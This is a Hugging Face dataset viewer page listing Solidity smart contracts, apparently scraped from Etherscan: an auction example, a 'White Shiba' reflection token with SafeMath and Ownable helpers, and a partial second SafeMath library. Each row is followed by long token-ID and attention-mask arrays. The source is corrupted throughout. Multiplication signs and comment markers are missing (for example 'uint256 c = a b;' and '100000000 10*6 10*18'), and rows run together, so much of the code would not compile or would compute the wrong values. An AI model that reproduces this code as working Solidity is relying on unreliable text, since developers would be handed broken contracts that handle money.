Vageesh1/tokenized_contract_hf_selected · Datasets at Hugging Face

source_code stringlengths 52 864k	success stringclasses 1 value	input_ids sequence	attention_mask sequence
pragma solidity ^0.4.11; contract SimpleAuction { // Parameters of the auction. Times are either // absolute unix timestamps (seconds since 1970-01-01) // or time periods in seconds. address public beneficiary; uint public auctionStart; uint public biddingTime; // Current state of the auction. address public highestBidder; uint public highestBid; // Allowed withdrawals of previous bids mapping(address => uint) pendingReturns; // Set to true at the end, disallows any change bool ended; // Events that will be fired on changes. event HighestBidIncreased(address bidder, uint amount); event AuctionEnded(address winner, uint amount); // The following is a so-called natspec comment, // recognizable by the three slashes. // It will be shown when the user is asked to // confirm a transaction. /// Create a simple auction with `_biddingTime` /// seconds bidding time on behalf of the /// beneficiary address `_beneficiary`. function SimpleAuction() { beneficiary = 0xc2752751E6B91736d5a2e8E31336DC7C7220e8FC; auctionStart = now; biddingTime = 600; } /// Bid on the auction with the value sent /// together with this transaction. /// The value will only be refunded if the /// auction is not won. function bid() payable { // No arguments are necessary, all // information is already part of // the transaction. The keyword payable // is required for the function to // be able to receive Ether. // Revert the call if the bidding // period is over. require(now <= (auctionStart + biddingTime)); // If the bid is not higher, send the // money back. require(msg.value > highestBid); if (highestBidder != 0) { // Sending back the money by simply using // highestBidder.send(highestBid) is a security risk // because it can be prevented by the caller by e.g. // raising the call stack to 1023. It is always safer // to let the recipients withdraw their money themselves. pendingReturns[highestBidder] += highestBid; } highestBidder = msg.sender; highestBid = msg.value; HighestBidIncreased(msg.sender, msg.value); } /// Withdraw a bid that was overbid. function withdraw() returns (bool) { uint amount = pendingReturns[msg.sender]; if (amount > 0) { // It is important to set this to zero because the recipient // can call this function again as part of the receiving call // before `send` returns. pendingReturns[msg.sender] = 0; if (!msg.sender.send(amount)) { // No need to call throw here, just reset the amount owing pendingReturns[msg.sender] = amount; return false; } } return true; } // Users want to know when the auction ends, seconds from 1970-01-01 function auctionEndTime() constant returns (uint256) { return auctionStart + biddingTime; } /// End the auction and send the highest bid /// to the beneficiary. function auctionEnd() { // It is a good guideline to structure functions that interact // with other contracts (i.e. they call functions or send Ether) // into three phases: // 1. checking conditions // 2. performing actions (potentially changing conditions) // 3. interacting with other contracts // If these phases are mixed up, the other contract could call // back into the current contract and modify the state or cause // effects (ether payout) to be performed multiple times. // If functions called internally include interaction with external // contracts, they also have to be considered interaction with // external contracts. // 1. Conditions require(now >= (auctionStart + biddingTime)); // auction did not yet end require(!ended); // this function has already been called // 2. Effects ended = true; AuctionEnded(highestBidder, highestBid); // 3. Interaction beneficiary.transfer(highestBid); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2340, 1025, 3206, 3722, 4887, 7542, 1063, 1013, 1013, 11709, 1997, 1996, 10470, 1012, 2335, 2024, 2593, 1013, 1013, 7619, 19998, 2335, 15464, 4523, 1006, 3823, 2144, 3359, 1011, 5890, 1011, 5890, 1007, 1013, 1013, 2030, 2051, 6993, 1999, 3823, 1012, 4769, 2270, 3841, 12879, 24108, 2854, 1025, 21318, 3372, 2270, 10470, 14117, 2102, 1025, 21318, 3372, 2270, 17534, 7292, 1025, 1013, 1013, 2783, 2110, 1997, 1996, 10470, 1012, 4769, 2270, 3284, 17062, 4063, 1025, 21318, 3372, 2270, 3284, 17062, 1025, 1013, 1013, 3039, 10534, 2015, 1997, 3025, 20723, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 14223, 13465, 14287, 2015, 1025, 1013, 1013, 2275, 2000, 2995, 2012, 1996, 2203, 1010, 4487, 12002, 8261, 2015, 2151, 2689, 22017, 2140, 3092, 1025, 1013, 1013, 2824, 2008, 2097, 2022, 5045, 2006, 3431, 1012, 2724, 3284, 17062, 2378, 16748, 11022, 2094, 1006, 4769, 7226, 4063, 1010, 21318, 3372, 3815, 1007, 1025, 2724, 10470, 21945, 1006, 4769, 3453, 1010, 21318, 3372, 3815, 1007, 1025, 1013, 1013, 1996, 2206, 2003, 1037, 2061, 1011, 2170, 14085, 13102, 8586, 7615, 1010, 1013, 1013, 20123, 2011, 1996, 2093, 18296, 2229, 1012, 1013, 1013, 2009, 2097, 2022, 3491, 2043, 1996, 5310, 2003, 2356, 2000, 1013, 1013, 12210, 1037, 12598, 1012, 1013, 1013, 1013, 3443, 1037, 3722, 10470, 2007, 1036, 1035, 17534, 7292, 1036, 1013, 1013, 1013, 3823, 17534, 2051, 2006, 6852, 1997, 1996, 1013, 1013, 1013, 3841, 12879, 24108, 2854, 4769, 1036, 1035, 3841, 12879, 24108, 2854, 1036, 1012, 3853, 3722, 4887, 7542, 1006, 1007, 1063, 3841, 12879, 24108, 2854, 1027, 1014, 2595, 2278, 22907, 25746, 23352, 2487, 2063, 2575, 2497, 2683, 16576, 21619, 2094, 2629, 2050, 2475, 2063, 2620, 2063, 21486, 22394, 2575, 16409, 2581, 2278, 2581, 19317, 2692, 2063, 2620, 11329, 1025, 10470, 14117, 2102, 1027, 2085, 1025, 17534, 7292, 1027, 5174, 1025, 1065, 1013, 1013, 1013, 7226, 2006, 1996, 10470, 2007, 1996, 3643, 2741, 1013, 1013, 1013, 2362, 2007, 2023, 12598, 1012, 1013, 1013, 1013, 1996, 3643, 2097, 2069, 2022, 25416, 8630, 2098, 2065, 1996, 1013, 1013, 1013, 10470, 2003, 2025, 2180, 1012, 3853, 7226, 1006, 1007, 3477, 3085, 1063, 1013, 1013, 2053, 9918, 2024, 4072, 1010, 2035, 1013, 1013, 2592, 2003, 2525, 2112, 1997, 1013, 1013, 1996, 12598, 1012, 1996, 3145, 18351, 3477, 3085, 1013, 1013, 2003, 3223, 2005, 1996, 3853, 2000, 1013, 1013, 2022, 2583, 2000, 4374, 28855, 1012, 1013, 1013, 7065, 8743, 1996, 2655, 2065, 1996, 17534, 1013, 1013, 2558, 2003, 2058, 1012, 5478, 1006, 2085, 1026, 1027, 1006, 10470, 14117, 2102, 1009, 17534, 7292, 1007, 1007, 1025, 1013, 1013, 2065, 1996, 7226, 2003, 2025, 3020, 1010, 4604, 1996, 1013, 1013, 2769, 2067, 1012, 5478, 1006, 5796, 2290, 1012, 3643, 1028, 3284, 17062, 1007, 1025, 2065, 1006, 3284, 17062, 4063, 999, 1027, 1014, 1007, 1063, 1013, 1013, 6016, 2067, 1996, 2769, 2011, 3432, 2478, 1013, 1013, 3284, 17062, 4063, 1012, 4604, 1006, 3284, 17062, 1007, 2003, 1037, 3036, 3891, 1013, 1013, 2138, 2009, 2064, 2022, 8729, 2011, 1996, 20587, 2011, 1041, 1012, 1043, 1012, 1013, 1013, 6274, 1996, 2655, 9991, 2000, 9402, 2509, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-04-21 / // SPDX-License-Identifier: Unlicensed // WIBA, For the ones who missed Black Shiba pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract WIBA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 10*6 10*18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'White Shiba'; string private _symbol = 'WIBA'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee; if(_tTotal >= 30000000 (10*6) (10**18)) { tFee = tAmount.div(100).mul(5); } else { tFee = 0; } uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } uint256 public rSupply; uint256 public tSupply; function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5840, 1011, 2538, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 15536, 3676, 1010, 2005, 1996, 3924, 2040, 4771, 2304, 11895, 3676, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 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/** Submitted for verification at Etherscan.io on 2021-08-06 / pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * 